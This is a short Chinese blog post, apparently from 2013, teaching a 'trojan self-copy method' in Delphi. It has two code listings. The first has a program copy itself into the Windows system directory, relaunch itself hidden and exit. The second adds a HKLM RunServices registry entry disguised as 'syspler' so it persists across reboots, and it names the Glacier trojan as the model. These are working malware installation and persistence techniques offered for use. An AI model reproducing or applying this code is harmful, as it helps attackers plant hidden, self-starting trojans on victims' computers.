现在的位置: 首页 > 综合 > 正文

木马自我拷贝法[Delphi]

2013年08月14日 ⁄ 综合 ⁄ 共 1510字 ⁄ 字号 评论关闭

这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序.
打开Delphi,新建一个工程,在窗口的Create事件中写代码:

 

procedure TForm1.FormCreate(Sender: TObject);
var myname: 
string;
begin
myname :
= ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir 
+ myname), False);{将自己拷贝到WindowsSystem下}
Winexec(pchar(GetWindir 
+ myname), sw_hide);//运行WindowsSystem下的新文件
application.Terminate;//退出
end;
end;
其中GetWinDir是自定义函数,起功能是找出WindowsSystem的路径.
function GetWinDir: String;
var
Buf: array[
0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result :
= Buf;
if Result[Length(Result)]<>'' then Result := Result + '';
end; 

 

如何能使程序能在windows启动时自动启动?
 
为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:

 

procedure TForm1.FormCreate(Sender: TObject);
const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices';
var myname: 
string;
begin
{Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com}
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir 
+ myname), False);{//将自己拷贝到WindowsSystem下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件
application.Terminate;//退出
end;
with TRegistry.Create 
do
try
RootKey :
= HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 
'syspler', application.ExeName );
finally
free;
end;
end; 

抱歉!评论已关闭.